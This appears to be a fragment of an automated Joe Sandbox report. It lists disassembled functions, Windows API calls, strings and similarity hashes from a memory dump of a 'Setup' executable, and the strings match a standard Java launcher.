Instruction Fuzzy Hash: 1A31963260DB8185E720EF25E8402EEB3A4FB84754F914135EA8D43B68DF7DD555C710

Function 00007FF7AEE97A9C Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 129fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,00000000,?,00007FF7AEE976FD,?,?,?,00007FF7AEE97A4F,?,?,?,00007FF7AEE93E00), ref: 00007FF7AEE97AF0
FindNextFileA.KERNEL32(?,00007FF7AEE976FD,?,?,?,00007FF7AEE97A4F,?,?,?,00007FF7AEE93E00), ref: 00007FF7AEE97B3B
FindClose.KERNEL32(?,00007FF7AEE976FD,?,?,?,00007FF7AEE97A4F,?,?,?,00007FF7AEE93E00), ref: 00007FF7AEE97C31

Strings

JAR, xrefs: 00007FF7AEE97B7E
jar, xrefs: 00007FF7AEE97B6E

Memory Dump Source

Source File: 0000000B.00000002.3289057355.00007FF7AEE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AEE90000, based on PE: true

Associated: 0000000B.00000002.3289027007.00007FF7AEE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289102151.00007FF7AEEB9000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289133895.00007FF7AEECA000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289165231.00007FF7AEECD000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7aee90000_Setup.jbxd

Similarity

API ID: Find$File$CloseFirstNext
String ID: JAR$jar
API String ID: 3541575487-1396542530
Opcode ID: 63bb2aedccf3de762e0ee375445767d73e504fb473f02ef78a9200dbea67647a
Instruction ID: 3dbdd4f9ae230a30c0a7b23363d62e2066bf94b3706cb55d0fc9924691734657
Opcode Fuzzy Hash: 63bb2aedccf3de762e0ee375445767d73e504fb473f02ef78a9200dbea67647a
Instruction Fuzzy Hash: 8B51A031B0E64295FA14FF63E8412B9E390AB44B94F828535EE5E473A6EFBCE545C310

Function 00007FF7AEEAFACC Relevance: 7.8, APIs: 5, Instructions: 328fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00007FF7AEEAFB3B
WriteFile.KERNEL32 ref: 00007FF7AEEAFDF2
WriteFile.KERNEL32 ref: 00007FF7AEEAFE44
GetLastError.KERNEL32 ref: 00007FF7AEEAFF46
GetLastError.KERNEL32 ref: 00007FF7AEEAFFA6

Memory Dump Source

Source File: 0000000B.00000002.3289057355.00007FF7AEE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AEE90000, based on PE: true

Associated: 0000000B.00000002.3289027007.00007FF7AEE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289102151.00007FF7AEEB9000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289133895.00007FF7AEECA000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289165231.00007FF7AEECD000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7aee90000_Setup.jbxd

Similarity

API ID: ErrorFileLastWrite$ConsoleOutput
String ID:
API String ID: 1443284424-0
Opcode ID: c37a975567a0e8e3df11ed48818854dd4fdb01c810396f3f464756168682b727
Instruction ID: df3bce9db9856f717bdd11c2baf45050a284e189e4b8d6b2843cbcfcc02ff177
Opcode Fuzzy Hash: c37a975567a0e8e3df11ed48818854dd4fdb01c810396f3f464756168682b727
Instruction Fuzzy Hash: 7CE10372B0E6818AF701EB66D0402ADB7B1FB45788F81813ADF4E57BA9DE78D416C710

Function 00007FF7AEEB6A3C Relevance: 6.1, APIs: 4, Instructions: 149timeCOMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF7AEEB6A6A

Part of subcall function 00007FF7AEEB61A8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7AEEB61BC

_get_daylight.LIBCMT ref: 00007FF7AEEB6A7B

Part of subcall function 00007FF7AEEB6148: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7AEEB615C

_get_daylight.LIBCMT ref: 00007FF7AEEB6A8C

Part of subcall function 00007FF7AEEB6178: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7AEEB618C

Part of subcall function 00007FF7AEEAB560: HeapFree.KERNEL32(?,?,?,00007FF7AEEB27DC,?,?,?,00007FF7AEEB281F,?,?,00000000,00007FF7AEEB2CE4,?,?,?,00007FF7AEEB2C17), ref: 00007FF7AEEAB576
Part of subcall function 00007FF7AEEAB560: GetLastError.KERNEL32(?,?,?,00007FF7AEEB27DC,?,?,?,00007FF7AEEB281F,?,?,00000000,00007FF7AEEB2CE4,?,?,?,00007FF7AEEB2C17), ref: 00007FF7AEEAB588

GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,00007FF7AEEB6C98), ref: 00007FF7AEEB6AB3

Memory Dump Source

Source File: 0000000B.00000002.3289057355.00007FF7AEE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AEE90000, based on PE: true

Associated: 0000000B.00000002.3289027007.00007FF7AEE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289102151.00007FF7AEEB9000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289133895.00007FF7AEECA000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289165231.00007FF7AEECD000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7aee90000_Setup.jbxd

Similarity

API ID: _get_daylight_invalid_parameter_noinfo$ErrorFreeHeapInformationLastTimeZone
String ID:
API String ID: 3458911817-0
Opcode ID: 95cffe678918885c03dd0fd6ad45f7c1867915822390267a51126667de5d843a
Instruction ID: 5a2fbd6faaa5e27e5748b667c1ad0388257211cfe61de0d75ecbb3dde24163e4
Opcode Fuzzy Hash: 95cffe678918885c03dd0fd6ad45f7c1867915822390267a51126667de5d843a
Instruction Fuzzy Hash: DE616132A0D64386F710FF23D9911A9E760AB84784FC68235EA8D436B6DFBCE4418760

Function 00007FF7AEEB66C4 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 244COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7AEEB1B00: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7AEEB1B2E

_get_daylight.LIBCMT ref: 00007FF7AEEB67E1
_get_daylight.LIBCMT ref: 00007FF7AEEB67F2

Strings

?, xrefs: 00007FF7AEEB676D

Memory Dump Source

Source File: 0000000B.00000002.3289057355.00007FF7AEE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AEE90000, based on PE: true

Associated: 0000000B.00000002.3289027007.00007FF7AEE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289102151.00007FF7AEEB9000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289133895.00007FF7AEECA000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289165231.00007FF7AEECD000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7aee90000_Setup.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo
String ID: ?
API String ID: 1286766494-1684325040
Opcode ID: 51cdd9079e68ce62684cac5115b1afc2b6653c272f767fd36a0a2a5a613cb686
Instruction ID: 3800ca307585bc4b5b5754a0c7b7467a8ba6c3e82be62554bc5edb1f530b5a52
Opcode Fuzzy Hash: 51cdd9079e68ce62684cac5115b1afc2b6653c272f767fd36a0a2a5a613cb686
Instruction Fuzzy Hash: 70911732E0E25386FB20BB27D55027AA791EB80BD4F92C235EA8D076E5DFBCD4418750

Function 00007FF7AEE92BE4 Relevance: 75.3, APIs: 2, Strings: 48, Instructions: 330COMMON

Download Yara Rule

Strings

-d32, xrefs: 00007FF7AEE92FE5
-verbosegc, xrefs: 00007FF7AEE92D81
-jar, xrefs: 00007FF7AEE92C68
Warning: %s option is no longer supported., xrefs: 00007FF7AEE9301A
-checksource, xrefs: 00007FF7AEE92F34
-verbose:gc, xrefs: 00007FF7AEE92D94
-no-jre-restrict-search, xrefs: 00007FF7AEE92F90
-ss, xrefs: 00007FF7AEE92EDB
-jre-restrict-search, xrefs: 00007FF7AEE92FA7
-cs, xrefs: 00007FF7AEE92F4B
-fullversion, xrefs: 00007FF7AEE92D6A
%s full version "%s", xrefs: 00007FF7AEE930D4
-Xrunhprof:cpu=old,file=java.prof, xrefs: 00007FF7AEE92ECA
-Xfuture, xrefs: 00007FF7AEE92E19
-Xrunhprof:cpu=old,file=%s, xrefs: 00007FF7AEE92EBE
-prof, xrefs: 00007FF7AEE92E8A
-noasyncgc, xrefs: 00007FF7AEE92F62
Error: %s requires jar file specification, xrefs: 00007FF7AEE930B3
-Xtm, xrefs: 00007FF7AEE92DD2
-version:, xrefs: 00007FF7AEE92F79
-version, xrefs: 00007FF7AEE92CD1
-noverify, xrefs: 00007FF7AEE92E64
-XshowSettings, xrefs: 00007FF7AEE92D1D
-Dsun.java.launcher.diag=true, xrefs: 00007FF7AEE92D5E
-cp, xrefs: 00007FF7AEE92C51
-oss, xrefs: 00007FF7AEE92EEF
-Xverify:all, xrefs: 00007FF7AEE92E2C
-Xverify:none, xrefs: 00007FF7AEE92E77
-debug, xrefs: 00007FF7AEE92DDE
Error: %s requires class path specification, xrefs: 00007FF7AEE93103
-tm, xrefs: 00007FF7AEE92DBF
-noclassgc, xrefs: 00007FF7AEE92DFD
-XshowSettings:, xrefs: 00007FF7AEE92D34
-showversion, xrefs: 00007FF7AEE92CE8
-help, xrefs: 00007FF7AEE92C8C
-verify, xrefs: 00007FF7AEE92E35
-classpath, xrefs: 00007FF7AEE92C34
-Xt, xrefs: 00007FF7AEE92DB3
-d64, xrefs: 00007FF7AEE92FFC
-Xnoclassgc, xrefs: 00007FF7AEE92E10
-Xdebug, xrefs: 00007FF7AEE92DF1
-splash:, xrefs: 00007FF7AEE92FBE
-X%s, xrefs: 00007FF7AEE93040
-mx, xrefs: 00007FF7AEE92F1D
-verifyremote, xrefs: 00007FF7AEE92E48
-Xverify:remote, xrefs: 00007FF7AEE92E5B
-Xdiag, xrefs: 00007FF7AEE92D4B
-ms, xrefs: 00007FF7AEE92F06

Memory Dump Source

Source File: 0000000B.00000002.3289057355.00007FF7AEE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AEE90000, based on PE: true

Associated: 0000000B.00000002.3289027007.00007FF7AEE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289102151.00007FF7AEEB9000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289133895.00007FF7AEECA000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289165231.00007FF7AEECD000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7aee90000_Setup.jbxd

Similarity

API ID:
String ID: %s full version "%s"$-Dsun.java.launcher.diag=true$-X%s$-Xdebug$-Xdiag$-Xfuture$-Xnoclassgc$-Xrunhprof:cpu=old,file=%s$-Xrunhprof:cpu=old,file=java.prof$-XshowSettings$-XshowSettings:$-Xt$-Xtm$-Xverify:all$-Xverify:none$-Xverify:remote$-checksource$-classpath$-cp$-cs$-d32$-d64$-debug$-fullversion$-help$-jar$-jre-restrict-search$-ms$-mx$-no-jre-restrict-search$-noasyncgc$-noclassgc$-noverify$-oss$-prof$-showversion$-splash:$-ss$-tm$-verbose:gc$-verbosegc$-verify$-verifyremote$-version$-version:$Error: %s requires class path specification$Error: %s requires jar file specification$Warning: %s option is no longer supported.
API String ID: 0-425787817
Opcode ID: 81f5c0cebd41b92d88353ecfae925fff3cc13bd1e6edb5e785dcbb6fca95067a
Instruction ID: 2825eac436e5ea380c832b0deda92d0e883077c5f2abddabdad98ccdbcca0ab7
Opcode Fuzzy Hash: 81f5c0cebd41b92d88353ecfae925fff3cc13bd1e6edb5e785dcbb6fca95067a
Instruction Fuzzy Hash: 0DE10870A0E60390FA50FB27AA912B9E3D56F457C0FC28135ED4D466B6EFEDE9058321

Function 00007FF7AEE9230C Relevance: 52.8, APIs: 8, Strings: 22, Instructions: 348COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7AEE95660: QueryPerformanceFrequency.KERNEL32(?,?,?,?,00007FF7AEE93857), ref: 00007FF7AEE95674

wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF7AEE9239D
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF7AEE923AC
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF7AEE923CE
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF7AEE923DD
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF7AEE92400
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF7AEE925DD
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF7AEE925EF
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF7AEE92613

Strings

Error: Could not create the Java Virtual Machine.Error: A fatal exception has occurred. Program will exit., xrefs: 00007FF7AEE92830
()Ljava/lang/Class;, xrefs: 00007FF7AEE9268A
([Ljava/lang/String;)V, xrefs: 00007FF7AEE92704
main, xrefs: 00007FF7AEE9270B
Error: A JNI error has occurred, please check your installation and try again, xrefs: 00007FF7AEE924D8, 00007FF7AEE92651, 00007FF7AEE92676
()V, xrefs: 00007FF7AEE924A8
println, xrefs: 00007FF7AEE92497
JNI_TRUE, xrefs: 00007FF7AEE923B5
argv[%2d] = '%s', xrefs: 00007FF7AEE92609
App's argc is %d, xrefs: 00007FF7AEE925E6
sun/misc/Version, xrefs: 00007FF7AEE9247D
%s is '%s', xrefs: 00007FF7AEE925D6
print, xrefs: 00007FF7AEE924A1
option[%2d] = '%s', xrefs: 00007FF7AEE923F3
getApplicationClass, xrefs: 00007FF7AEE92691
JNI_FALSE, xrefs: 00007FF7AEE923BC
Error: Could not detach main thread.Error: A JNI error has occurred, please check your installation and try again, xrefs: 00007FF7AEE9250A, 00007FF7AEE9279C, 00007FF7AEE927DD, 00007FF7AEE92805
nOptions is %ld, xrefs: 00007FF7AEE923D6
version 0x%08lx, , xrefs: 00007FF7AEE923A5
%ld micro seconds to InitializeJVM, xrefs: 00007FF7AEE925B3
ignoreUnrecognized is %s, , xrefs: 00007FF7AEE923C7
JavaVM args: , xrefs: 00007FF7AEE92396

Memory Dump Source

Source File: 0000000B.00000002.3289057355.00007FF7AEE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AEE90000, based on PE: true

Associated: 0000000B.00000002.3289027007.00007FF7AEE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289102151.00007FF7AEEB9000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289133895.00007FF7AEECA000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289165231.00007FF7AEECD000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7aee90000_Setup.jbxd

Similarity

API ID: wprintf$FrequencyPerformanceQuery
String ID: argv[%2d] = '%s'$ option[%2d] = '%s'$%ld micro seconds to InitializeJVM$%s is '%s'$()Ljava/lang/Class;$()V$([Ljava/lang/String;)V$App's argc is %d$Error: A JNI error has occurred, please check your installation and try again$Error: Could not create the Java Virtual Machine.Error: A fatal exception has occurred. Program will exit.$Error: Could not detach main thread.Error: A JNI error has occurred, please check your installation and try again$JNI_FALSE$JNI_TRUE$JavaVM args: $getApplicationClass$ignoreUnrecognized is %s, $main$nOptions is %ld$print$println$sun/misc/Version$version 0x%08lx,
API String ID: 55271498-324781675
Opcode ID: a192bbc4b73a6e14b4765bada07b5cf093bb72ca9b5d3b6f51f6aa5fbad8feff
Instruction ID: 749e078128834d699f4675ef8ee85a58999e412b660460033082903c237854f0
Opcode Fuzzy Hash: a192bbc4b73a6e14b4765bada07b5cf093bb72ca9b5d3b6f51f6aa5fbad8feff
Instruction Fuzzy Hash: 47F11D71A0EA4295FF00FF67E8405B8E7A1AF88B84B864036ED0D57775DEB9E845C360

Function 00007FF7AEE95C4C Relevance: 38.8, APIs: 9, Strings: 13, Instructions: 311processsynchronizationCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32 ref: 00007FF7AEE95C9C

Part of subcall function 00007FF7AEEAA3E4: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7AEEAA401

GetCommandLineA.KERNEL32 ref: 00007FF7AEE95D0D
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF7AEE95FB1
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF7AEE95FC2
CreateProcessA.KERNEL32 ref: 00007FF7AEE9604B
WaitForSingleObject.KERNEL32 ref: 00007FF7AEE960A9
GetExitCodeProcess.KERNEL32 ref: 00007FF7AEE960BD

Part of subcall function 00007FF7AEE96630: MessageBoxA.USER32 ref: 00007FF7AEE966D2

CloseHandle.KERNEL32 ref: 00007FF7AEE960DE
CloseHandle.KERNEL32 ref: 00007FF7AEE960E9

Strings

-cp, xrefs: 00007FF7AEE95E6C
Error: CreateProcess(%s, ...) failed:, xrefs: 00007FF7AEE9608B
-no-jre-restrict-search, xrefs: 00007FF7AEE95EAF
-jre-restrict-search, xrefs: 00007FF7AEE95E9C
ReExec Args: %s, xrefs: 00007FF7AEE95FBB
%s\bin\%s.exe, xrefs: 00007FF7AEE95CFB
-classpath, xrefs: 00007FF7AEE95E59
Error: WaitForSingleObject() failed., xrefs: 00007FF7AEE960C9
Error: Unable to resolve %s, xrefs: 00007FF7AEE960FC
ExecJRE: new: %s, xrefs: 00007FF7AEE95CC8
ReExec Command: %s (%s), xrefs: 00007FF7AEE95FAA
ExecJRE: old: %s, xrefs: 00007FF7AEE95CB9
-version:, xrefs: 00007FF7AEE95E85

Memory Dump Source

Source File: 0000000B.00000002.3289057355.00007FF7AEE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AEE90000, based on PE: true

Associated: 0000000B.00000002.3289027007.00007FF7AEE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289102151.00007FF7AEEB9000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289133895.00007FF7AEECA000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289165231.00007FF7AEECD000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7aee90000_Setup.jbxd

Similarity

API ID: CloseHandleProcesswprintf$CodeCommandCreateExitFileLineMessageModuleNameObjectSingleWait_invalid_parameter_noinfo
String ID: %s\bin\%s.exe$-classpath$-cp$-jre-restrict-search$-no-jre-restrict-search$-version:$Error: CreateProcess(%s, ...) failed:$Error: Unable to resolve %s$Error: WaitForSingleObject() failed.$ExecJRE: new: %s$ExecJRE: old: %s$ReExec Args: %s$ReExec Command: %s (%s)
API String ID: 2354071828-2302492997
Opcode ID: 806c5de90893d065e038c8e7fcc4420469919dd702b35140e009ef1db43387de
Instruction ID: 544e0023005da3a921665491470f52f357f0242da7fa606679d26b9320981ea3
Opcode Fuzzy Hash: 806c5de90893d065e038c8e7fcc4420469919dd702b35140e009ef1db43387de
Instruction Fuzzy Hash: FFD14E71E0E64351FA10BB63A8512B9E391AF85780FC24436E94D477AAEEFCE509C720

Function 00007FF7AEE93E6C Relevance: 33.4, APIs: 5, Strings: 14, Instructions: 127COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,?,00000000,?,00000000,00007FF7AEE9200F), ref: 00007FF7AEE93FC0
GetCurrentProcessId.KERNEL32(?,?,00000000,?,00000000,00007FF7AEE9200F), ref: 00007FF7AEE94003
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF7AEE9402F
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF7AEE9403E
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF7AEE94055

Strings

-version, xrefs: 00007FF7AEE93EE2
TRACER_MARKER: NativeMemoryTracking: got value %s, xrefs: 00007FF7AEE9404E
-jar, xrefs: 00007FF7AEE93F3E
-XX:NativeMemoryTracking=, xrefs: 00007FF7AEE93F6C, 00007FF7AEE93F83
-cp, xrefs: 00007FF7AEE93EAB
%s%d=%s, xrefs: 00007FF7AEE93FCC
TRACER_MARKER: NativeMemoryTracking: env var is %s, xrefs: 00007FF7AEE94028
-fullversion, xrefs: 00007FF7AEE93EF9
-, xrefs: 00007FF7AEE93ED9
-help, xrefs: 00007FF7AEE93F10
-classpath, xrefs: 00007FF7AEE93EC2
%s%d, xrefs: 00007FF7AEE9400F
-, xrefs: 00007FF7AEE93EA1
TRACER_MARKER: NativeMemoryTracking: putenv arg %s, xrefs: 00007FF7AEE94037

Memory Dump Source

Source File: 0000000B.00000002.3289057355.00007FF7AEE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AEE90000, based on PE: true

Associated: 0000000B.00000002.3289027007.00007FF7AEE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289102151.00007FF7AEEB9000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289133895.00007FF7AEECA000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289165231.00007FF7AEECD000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7aee90000_Setup.jbxd

Similarity

API ID: wprintf$CurrentProcess
String ID: %s%d$%s%d=%s$-$-$-XX:NativeMemoryTracking=$-classpath$-cp$-fullversion$-help$-jar$-version$TRACER_MARKER: NativeMemoryTracking: env var is %s$TRACER_MARKER: NativeMemoryTracking: got value %s$TRACER_MARKER: NativeMemoryTracking: putenv arg %s
API String ID: 2490283382-3922024441
Opcode ID: 2ab74741108a55d3cfd27af9a4642a2124bf9988204b8e18245889c09d8eede1
Instruction ID: 85c503f384883f10b09423350d6988a04de7e84d12e72688b1865c0bfde8e783
Opcode Fuzzy Hash: 2ab74741108a55d3cfd27af9a4642a2124bf9988204b8e18245889c09d8eede1
Instruction Fuzzy Hash: FC51D670A0E65350FA14BB23A8411B9E3D1AF85BC0FC64135FD4E472BAEEEDE9058361

Function 00007FF7AEE9348C Relevance: 31.8, APIs: 1, Strings: 17, Instructions: 269COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7AEE95660: QueryPerformanceFrequency.KERNEL32(?,?,?,?,00007FF7AEE93857), ref: 00007FF7AEE95674

Part of subcall function 00007FF7AEE9FD30: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7AEE9FC99

wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF7AEE9386E

Part of subcall function 00007FF7AEE96630: MessageBoxA.USER32 ref: 00007FF7AEE966D2

Strings

WARN, xrefs: 00007FF7AEE936BA
Warning: Missing VM type on line %d of `%s', xrefs: 00007FF7AEE93624
jvm.cfg[%d] = ->%s<-, xrefs: 00007FF7AEE93791
%ld micro seconds to parse jvm.cfg, xrefs: 00007FF7AEE93867
IGNORE, xrefs: 00007FF7AEE936D2
ALIASED_TO, xrefs: 00007FF7AEE93652
Warning: No leading - on line %d of `%s', xrefs: 00007FF7AEE9354C
name: %s vmType: %s server_class: %s, xrefs: 00007FF7AEE937DE
Warning: Missing server class VM on line %d of `%s', xrefs: 00007FF7AEE9374B
IF_SERVER_CLASS, xrefs: 00007FF7AEE93708
Error: could not open `%s', xrefs: 00007FF7AEE938AF
Warning: Unknown VM type on line %d of `%s', xrefs: 00007FF7AEE93779
VM_IF_SERVER_CLASS, xrefs: 00007FF7AEE937D7
name: %s vmType: %s alias: %s, xrefs: 00007FF7AEE93802
ERROR, xrefs: 00007FF7AEE936ED
VM_ALIASED_TO, xrefs: 00007FF7AEE937FB
KNOWN, xrefs: 00007FF7AEE9363B

Memory Dump Source

Source File: 0000000B.00000002.3289057355.00007FF7AEE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AEE90000, based on PE: true

Associated: 0000000B.00000002.3289027007.00007FF7AEE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289102151.00007FF7AEEB9000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289133895.00007FF7AEECA000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289165231.00007FF7AEECD000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7aee90000_Setup.jbxd

Similarity

API ID: FrequencyMessagePerformanceQuery_invalid_parameter_noinfowprintf
String ID: name: %s vmType: %s alias: %s$ name: %s vmType: %s server_class: %s$%ld micro seconds to parse jvm.cfg$ALIASED_TO$ERROR$Error: could not open `%s'$IF_SERVER_CLASS$IGNORE$KNOWN$VM_ALIASED_TO$VM_IF_SERVER_CLASS$WARN$Warning: Missing VM type on line %d of `%s'$Warning: Missing server class VM on line %d of `%s'$Warning: No leading - on line %d of `%s'$Warning: Unknown VM type on line %d of `%s'$jvm.cfg[%d] = ->%s<-
API String ID: 2156942979-2085308502
Opcode ID: f240e0c99b84050f2ed798eb710eb8a6b0728ea8715b5a597ce613d2040bc853
Instruction ID: 6c8da90765a227254703006da8081b752f9b40e70bc0014500f760f362a34abe
Opcode Fuzzy Hash: f240e0c99b84050f2ed798eb710eb8a6b0728ea8715b5a597ce613d2040bc853
Instruction Fuzzy Hash: 08C18A75A0F64391FA10BB23A8502BAE3E0AF85784FC74135E95E473B6DEBCE4558360

Function 00007FF7AEE9533C Relevance: 31.7, APIs: 8, Strings: 10, Instructions: 179libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF7AEE953C8
LoadLibraryA.KERNEL32 ref: 00007FF7AEE95427
LoadLibraryA.KERNEL32 ref: 00007FF7AEE95452
LoadLibraryA.KERNEL32 ref: 00007FF7AEE9547C
GetProcAddress.KERNEL32 ref: 00007FF7AEE9549C

Part of subcall function 00007FF7AEE96630: MessageBoxA.USER32 ref: 00007FF7AEE966D2

Strings

false, xrefs: 00007FF7AEE95539, 00007FF7AEE95566
true, xrefs: 00007FF7AEE9559D
preloadStop, xrefs: 00007FF7AEE95492
Error: Path length exceeds maximum length (PATH_MAX), xrefs: 00007FF7AEE953AD
preloadD3D, xrefs: 00007FF7AEE955C6
\bin\java.dll, xrefs: 00007FF7AEE95437
J2D_D3D_PRELOAD, xrefs: 00007FF7AEE95552
J2D_D3D, xrefs: 00007FF7AEE95528
\bin\awt.dll, xrefs: 00007FF7AEE95461
\bin\verify.dll, xrefs: 00007FF7AEE95396, 00007FF7AEE95411

Memory Dump Source

Source File: 0000000B.00000002.3289057355.00007FF7AEE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AEE90000, based on PE: true

Associated: 0000000B.00000002.3289027007.00007FF7AEE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289102151.00007FF7AEEB9000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289133895.00007FF7AEECA000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289165231.00007FF7AEECD000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7aee90000_Setup.jbxd

Similarity

API ID: LibraryLoad$AddressProc$Message
String ID: Error: Path length exceeds maximum length (PATH_MAX)$J2D_D3D$J2D_D3D_PRELOAD$\bin\awt.dll$\bin\java.dll$\bin\verify.dll$false$preloadD3D$preloadStop$true
API String ID: 3101497455-3693045609
Opcode ID: 3bd27d7d48b88481276658fb90985da62b608a0dfed6318233720cea64b489a1
Instruction ID: 998b2048948e71f198e82370f53bd574d528777b4086e840e09461c39c765613
Opcode Fuzzy Hash: 3bd27d7d48b88481276658fb90985da62b608a0dfed6318233720cea64b489a1
Instruction Fuzzy Hash: 8C815231A1EB4285FA14FB12E850278E3A1BF84785FC64139E94E437B5DFBCE549C620

Function 00007FF7AEE96AA0 Relevance: 24.6, APIs: 3, Strings: 11, Instructions: 123libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FF7AEE96B52
LoadLibraryA.KERNEL32 ref: 00007FF7AEE96BDC
LoadLibraryA.KERNEL32 ref: 00007FF7AEE96C76

Strings

PRT path is %s, xrefs: 00007FF7AEE96C55
Error: Path length exceeds maximum length (PATH_MAX), xrefs: 00007FF7AEE96C2F
\bin\msvcp140.dll, xrefs: 00007FF7AEE96C3F
\bin\vcruntime140_1.dll, xrefs: 00007FF7AEE96BA5
\bin\, xrefs: 00007FF7AEE96AF3, 00007FF7AEE96B7D, 00007FF7AEE96C0B
vcruntime140_1.dll, xrefs: 00007FF7AEE96B71
vcruntime140.dll, xrefs: 00007FF7AEE96AE7
msvcp140.dll, xrefs: 00007FF7AEE96BFF
Error: loading: %s, xrefs: 00007FF7AEE96C86
CRT path is %s, xrefs: 00007FF7AEE96B31, 00007FF7AEE96BBB
